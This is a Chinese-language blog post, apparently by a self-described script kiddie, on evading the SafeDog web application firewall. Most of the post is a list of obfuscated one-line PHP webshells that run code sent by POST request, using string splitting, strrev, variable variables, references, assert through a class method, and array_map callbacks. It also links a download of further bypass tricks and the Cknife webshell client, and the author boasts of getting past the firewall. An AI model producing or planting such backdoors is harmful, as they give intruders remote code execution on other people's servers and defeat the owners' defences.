我们在做渗透测试的时候,经常会碰到网站防火墙这类的玩意,但是可能最多的应该就是安全狗这个鬼东西了。哇,想想之前,真心可怜,注入注入不了,上传上传不了,你说好不容易碰到一个弱口令吧,我们的木马又被安全狗吃掉了,
当时自己把自己搞的不行不行的,哎,本来只想安静的做一个脚本小子,我曹,安全狗这样对我们,我们不搞狗搞谁- – 早晚得过了他。
今天没什么事情做,就在虚拟机里跑了个安全狗,想测试看自己能不能过了他。因为之前在网上看到过一句话,只要思路宽,过狗过到欢,那还说什么,撸起袖子干啊
我们常见的变形语句无非就是哪几种,我这里稍稍总结下:
1.割
$b = 'e'.'v'.'a'.'l'; $b($_POST("pass"))
2.倒
$a = 'l'.'a'.'v'.'e'; $a = strrev($a); $a($_POST("pass"));
3.使用PHP的特性
1.变量覆盖
$b=$_POST['key']; $a='b'; @eval($$a);
2.化变量为函数
$b='eval'; @$b($_POST['key']);
3.变量引用
$a=$_POST['key']; $b=&$a; @eval($b);
4.其他代码涉入
1.php自定义类方法调用
class Test{ function testBypass($a){ assert($a); } } $test=new Test(); $test->testBypass($_POST['key']);
2.函数回调
array_map('assert',array($_POST['x']));
3.php自定义函数调用
function test($b){ @eval($b); } test($_POST[key]);
4.位运算符
上面都是一些常见的过狗方法,我们还有什么办法么,当然有了!
PHP还有以下函数执行的漏洞
https://pan.baidu.com/s/1bpixEDT
反正我自己是过了,连同菜刀一起过了!啊哈哈哈
最新版本的菜刀在github上:
https://github.com/Chora10/Cknife